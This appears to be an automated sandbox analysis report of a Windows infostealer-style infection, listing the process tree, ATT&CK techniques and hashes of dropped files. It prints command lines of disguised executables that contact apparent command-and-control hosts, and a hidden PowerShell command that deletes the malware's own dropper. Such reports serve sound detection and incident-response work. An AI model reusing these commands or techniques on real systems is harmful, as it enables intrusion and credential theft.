    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3564,i,10660756259820745213,3647025375705167068,2097152 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:1
    3⤵
    PID:3508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3568,i,4264328415789375608,6501140442825299388,2097152 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:1
    3⤵
    PID:1748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4312,i,2218412294913456411,16186185939740553488,2097152 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:1
    3⤵
    PID:4100
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4384,i,5543992461494208803,14417176056763346499,2097152 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:9
    3⤵
    PID:4188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,3345625963049512204,515022293316036945,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
    3⤵
    PID:3472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,15738561216909535746,16052128427055134447,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
    3⤵
    PID:1232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5520,i,8872314752556953916,16012801950388805432,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
    3⤵
    PID:4792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,11839077629322947018,17616833939889217627,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
    3⤵
    - Modifies registry class
    PID:5828
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5952,i,11668184976556923344,5278027500900667253,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:12
    3⤵
    PID:4712
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7084,i,10052786957759642890,5004680646130541733,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=7052 /prefetch:14
    3⤵
    PID:4764
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7084,i,10052786957759642890,5004680646130541733,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=7052 /prefetch:14
    3⤵
    PID:4568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7016,i,6614609456937198912,12930790648371242159,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=7056 /prefetch:14
    3⤵
    PID:5340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,16616307834012443816,6362720915763906777,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6952 /prefetch:14
    3⤵
    PID:3396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6880,i,7868464770685918926,16501936427417254212,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:14
    3⤵
    PID:1572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,7880174150105084670,17064542295933569243,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:14
    3⤵
    PID:5340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7148,i,11785916008038519998,15788253185644742643,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6944 /prefetch:14
    3⤵
    PID:6876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,7910899582722251612,7056114582726577075,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6712 /prefetch:14
    3⤵
    PID:6884
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7128,i,17531814752260442056,15993926849767664747,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:14
    3⤵
    PID:6892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5624,i,18309066266205336952,3871845488569749262,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:14
    3⤵
    PID:1768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6696,i,9918577529472860327,1609154883322061111,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:14
    3⤵
    PID:6312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,9710268144929979190,16651027370200687191,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:14
    3⤵
    PID:296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6668,i,4705413706717307842,8098003776057379545,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:14
    3⤵
    PID:6400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,10523970424095697261,17871160425161468120,524288 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:14
    3⤵
    PID:6480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6272,i,5798993666828871751,2847588266682097696,262144 --field-trial-handle=2304,i,13640518746284804269,8963433899171204684,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:10
    3⤵
    PID:5772
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\5f7e0a54a86d405a\WMI5f7e0a.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\5f7e0a54a86d405a\WMI5f7e0a.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe" --o Rift
    3⤵
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare drivers on disk
    - Executes dropped EXE
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:3972
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      4⤵
      Loads dropped DLL
      PID:6772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      4⤵
      Loads dropped DLL
      PID:7104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue'; Start-Sleep -Seconds 2; $p='C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe'; for($i=0;$i -lt 40;$i++){ if(-not (Test-Path -LiteralPath $p)){ break }; Remove-Item -LiteralPath $p -Force -ErrorAction SilentlyContinue; Start-Sleep -Milliseconds 400 }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:6424
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader
    3⤵
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare drivers on disk
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Program Files directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:6244
  - - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe" --watchdog 6244 --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader
      4⤵
      Looks for VirtualBox drivers on disk
      Looks for VMWare drivers on disk
      Executes dropped EXE
      Enumerates system info in registry
      PID:3688
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\WinPKG.exe"
    3⤵
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare drivers on disk
    - Executes dropped EXE
    - Enumerates system info in registry
    PID:2684
- - C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe
    "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\Sysfun32.exe"
    3⤵
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare drivers on disk
    - Executes dropped EXE
    - Enumerates system info in registry
    PID:3344

C:\Windows\System32\GameBarPresenceWriter.exe
"C:\Windows\System32\GameBarPresenceWriter.exe" -ServerName:Windows.Gaming.GameBar.Internal.PresenceWriterServer
1⤵
- Network Service Discovery
PID:560

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k BcastDVRUserService -s BcastDVRUserService
1⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Modifies registry class
PID:704

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4136

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3868

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6880

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:7012

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7088

C:\Program Files\WindowsRuntime\WinRT.exe
"C:\Program Files\WindowsRuntime\WinRT.exe" --u Rift --s https://argonaddon.lol --sb https://netframework.top,https://argonaddon.lol --wp /637755f5efd017953e93fab0 --cp /813ff59853da4b52667165cb --loader
1⤵
- Looks for VirtualBox drivers on disk
- Looks for VMWare drivers on disk
- Executes dropped EXE
- Enumerates system info in registry
PID:3876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

File and Directory Discovery

T1083

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
Size 808B
SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
MD5 878e958d6bff424e59d1feb51584a01f
SHA1 b11261559bbea40f1874448196e2934277a537e9
SHA512 6481a56d17126cf94901bed6f418af28f63089da57af4258fb13e468063c4d7849f78ca00a0e4a72c249a639afc8304669f99e48a360008f8e64172ab3133213
TLSH
T18D0152CD6E2925408AB18A334AB9C4970DB9724A3AD5910C4453A4A024D07588F0F54E
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
Size 355B
SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
MD5 53ae64e9ee4ba962ee4b516077735710
SHA1 dae8a6fd15a9c447cdb2778f63880db25b0dd198
SHA512 ec31df0d1fbf225bc5a884ee8324aab6e2aa43031bede210b04677ed825966c8ebc0693b06d8f0e55de2cd5919b95a7b25691b6ae1fab893f58756e08836a168
TLSH
T1BFE0C08867AC24200AB19E539550C4936FBE31892970B05C8251CBED30C1A58C28B30F
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

C98114079D572AD1B491200608D7D106

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C98114079D572AD1B491200608D7D106
Size 53KB
SHA256 5730517ae45012dfc4d01b02a10ef7392a6c5d7b7289c2897875ff8606dc9ce0
MD5 4e884cfa44ed9f2d0ab7a729e8a5c7fa
SHA1 9de162d544e76abe509d2e8171700a4612caf8ea
SHA512 392627f0a54084114c4cc083dd1b3948e669c41125ee215feddadeec5897450d16215241dac0a8e16d5bacac6af99f97f9e4f6b69984b1ee9849194ed4615331
SSDEEP 768:c/iFwm1RdtCYIy3w9NvqjHOnKYBMvGL2CxAI2IgVvrVglv2vqB7xMXVWUnn:c/EwoRPp33jg7/xAdIejVuHQlWUn
TLSH
T1BF334DA89C3BB6A1AD07DF628DDE898357E5B1D52A5D832F4E306E005C13A9FDF53080
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

103621DE9CD5414CC2538780B4B75751

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Size 192B
SHA256 4e371e21b8f25dcb7743c26ca4d54a0d47db2f48154c1769b23fa726a4fd3ad9
MD5 333538ec98d97bddd0e7189e468e9d8b
SHA1 4de28c931158a3e3f9dbc3032f23362dd22181f1
SHA512 99f6bf7783fc86261f48280bf0fb49a8f98b46085abcc58c1948326e0783190445bed742ff364f36523fb6a9798f6f7997b45adafb4732aa5a1aafc4f2046807
TLSH
T1F9C08C1C1AA21A16F2A8837D02C23D13AB208101E2458F151AF56A08C996B163838D2A
MD5 SHA1 SHA512 TLSH

Submit Download

1B1495DD322A24490E2BF2FAABAE1C61

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
Size 192B
SHA256 fee19d6b0e2b8aa999e7ef57bfe2dc0649af0eae4c4505bb1a877254fdb5cadf
MD5 85b65df70dd012ebbf3e5cb43e7995d6
SHA1 e9a52c1fc427e56bdc4cff909263b8a74d4b47ca
SHA512 e8a34a26ae48ef660155d595012dac4dfdab54f51cda35ca645efb4063ba719c3f824d6f3e9f03c42bcb3d0154d79bdabb37837c2a59f9e406178ed6f26fe0a2
TLSH
T1C0C08C2C4A620616F2E4437E02C22D03AB20C431F2498F1126B52A18CC51F502C34C28
MD5 SHA1 SHA512 TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 fbe819d1dc00128b74c135614bcd2ff753a19e40fc2f5af8e21c1970661345e0
MD5 6e5627f681f6810207842a0ecb9b4d06
SHA1 fb906d47ca6934746c41ec9c6a76cd1ec24e6fd6
SHA512 e9a2d9db4c2a82085b9b47312ad793fea1467e540b956756016d501f4bbbd9b0dceb5712ee18db89bec8c6ca3b39842c269a615188203ca31f99faff5df2f373
TLSH
T10DC08C181BA20A06E2E80BBE22D23A939A14D001F2858F1A163E2A488C60B241C30C1C
MD5 SHA1 SHA512 TLSH

Submit Download

C98114079D572AD1B491200608D7D106

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C98114079D572AD1B491200608D7D106
Size 246B
SHA256 36810bad69cab6d2246fa702d6bfb7c61ab52647a1eab52a7c059d4975128a0b
MD5 5e38b5a02b09744c144f8f5499bd1227
SHA1 8b39c9c7fe84dbad51b56e3e3a9f554b28943b26
SHA512 3419cec27fe6f6a2b2517265979924172140386e934f61ea1d03a4784048452505941bf250fafabab49c3bf700988ebf4390e86e5f596732a628685506dc4196
TLSH
T16FD022182BD40337F23682B3E87922008A583405EBC7932C0FA0088D9829A003E61828
MD5 SHA1 SHA512 TLSH

Submit Download

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\RuntimeBroker.exe
Size 4.8MB
SHA256 4b70d85462a731f3215029b2fa2f23c0097c852b184506230083c73c610dee33
MD5 a6f894d4eb7f4f1143500b8b0fc6bab4
SHA1 9b53f68945613c10d09a57308654df178591e243
SHA512 3e3ad80de8f61f5a9e65722af315230e416dc2b19371e5a8a7a04ac69ebec33a71b125371689ae702fec8329a3475a50ce7e8dd32fccc5bdcca0b34e8f847481
SSDEEP 98304:zORXbC0EmNkgOWwr+CviCbLRev4qEn9sII:edOFmII
TLSH
T19E366C03F69641E9C0ADC17883575633AA32FC894621B7EF2B945B213F66FA05F5E348
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchHost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\Cache\SearchHost.exe
Size 6.4MB
SHA256 2a6d7ecad0b95d2533da824369865aabf95e75079807551aa73d9ef58819ff0d
MD5 a74363509cb49ae2e077014fe5fe76bc
SHA1 549fa937bc5522de968026971bdff43194a2a14f
SHA512 45d0e994fc82fca71b4a6ee890cc6fc78bef82ae1b7988ceb9b833ad0a220238fae5c5d8128fe463d531675b04816446250b447991a45db63a9ab412deefdfd7
SSDEEP 98304:XZW22fPQeKKt1SVUvN6r0Kny7GX0/e2l0WNe5r+HMJG:XLYdvU4v3Ne9pJ
TLSH
T15A667C43F6A391ECC56AC074836AA233FA32B85905317AAB57D0CB313E62F506F5DB54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ee00825bbd5a4f21308ad2e10e5a9d3c4512f07fbd288ec8ac76788de6019e25
MD5 c3584e6bc22b3ad2f168ede48d20a993
SHA1 ffb4ecef8f65638ca17e16a32806195193977c7e
SHA512 5fd777359305e67e9f30fc404af9013a876846b1d6db271fa73dfcf2ee22fb25a8e26d4d0c970cc3a8219df11038dc6b4c2c411db652593bda1c3d7643753c0b
TLSH
T18AD02B7637C40404C0D0747621F34602D530C520584C81088801B03CCC207C3010A8DB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c80f71026fa07cc9b3e69c8779d4b4b40710cf7bc2893b740943db0d0f79591a
MD5 590eca05f11ec72644a09f205b548fbc
SHA1 c6521700bee3b500259ee3a70292b90201f20597
SHA512 fddd457c35c61ceb727f99bd39f55314cdeb7d062798c573a377675121f972ed95109fec329f911c502139a1794b70e5a98a57dd3b21b5a70e6518890a361f66
TLSH
T1E7D02B7A37C40404C0D0747221F24602D530C520AC4C81088801702CCC207C3010B8EF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 10KB
SHA256 bb4ed57124ae2b82451ab96bbcfce3f4b9abc5a45c841424e3a287e7169331fa
MD5 769fdf791c6c0b3f2d798cff37fba7da
SHA1 0a61a679323629fbdb9000dc9c5881812d52ee63
SHA512 5cb81c4d204ea6adecc16c7d414c88c29af9d8d9ab848cb8a7b0004f15ac498b29107835c9c1c160fd7edbb21145bc79eb2c74cf7c1dce4ed71187e8d1308125
SSDEEP 192:lEg49XljlJmL8fLDq+xYcH8HIOxeJcTl3aYrsxb:loXmL6LDq+I9eeZgb
TLSH
T1A92240AEBEEF00E4C7078D741ACC2A6576B1724531031E9207996C7E8386FF51CE166B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe59c5e6.TMP

